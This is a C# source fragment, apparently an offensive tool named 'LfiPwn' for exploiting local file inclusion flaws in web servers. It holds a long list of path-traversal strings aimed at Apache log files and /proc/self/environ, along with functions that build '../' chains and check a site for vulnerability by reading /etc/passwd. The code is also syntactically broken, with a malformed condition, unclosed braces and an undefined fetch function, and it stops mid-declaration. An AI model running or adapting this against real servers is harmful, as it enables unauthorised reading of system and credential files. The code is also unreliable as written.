class LfiPwn {
  string[] logs = new string[]{@"../apache/logs/error.log",
                               @"../apache/logs/access.log",
                           @"../../apache/logs/error.log",
                           @"../../apache/logs/access.log",
                           @"../../../apache/logs/error.log",
                           @"../../../apache/logs/access.log",
                           @"../../../../../../../etc/httpd/logs/acces_log",
                           @"../../../../../../../etc/httpd/logs/acces.log",
                           @"../../../../../../../etc/httpd/logs/error_log",
                           @"../../../../../../../etc/httpd/logs/error.log",
                           @"../../../../../../../var/www/logs/access_log",
                           @"../../../../../../../var/www/logs/access.log",
                           @"../../../../../../../usr/local/apache/logs/access_log",
                           @"../../../../../../../usr/local/apache/logs/access.log",
                           @"../../../../../../../var/log/apache/access_log",
                           @"../../../../../../../var/log/apache2/access_log",
                           @"../../../../../../../var/log/apache/access.log",
                           @"../../../../../../../var/log/apache2/access.log",
                           @"../../../../../../../var/log/access_log",
                           @"../../../../../../../var/log/access.log",
                           @"../../../../../../../var/www/logs/error_log",
                           @"../../../../../../../var/www/logs/error.log",
                           @"../../../../../../../usr/local/apache/logs/error_log",
                           @"../../../../../../../usr/local/apache/logs/error.log",
                           @"../../../../../../../var/log/apache/error_log",
                           @"../../../../../../../var/log/apache2/error_log",
                           @"../../../../../../../var/log/apache/error.log",
                           @"../../../../../../../var/log/apache2/error.log",
                           @"../../../../../../../var/log/error_log",
                           @"../../../../../../../var/log/error.log"}
  string environ = @"/proc/self/environ";
  public string trace_back(string lfi, int times) {
     string t = "";
     for(int i = 0; i < times; i++) {
        t += "../";
     }
     return lfi+t;
  }
  public bool is_vuln(string site) {
    if(!site.IndexOf("/etc/passwd") <= 0) return false;
    int max_depth = 10;
    for(int i = 0; i < max_depth; i++) {
      if(get_page(trace_back(site, i)).IndexOf("root:x:0") > 0) {
        return true;
      }
    }
  public bool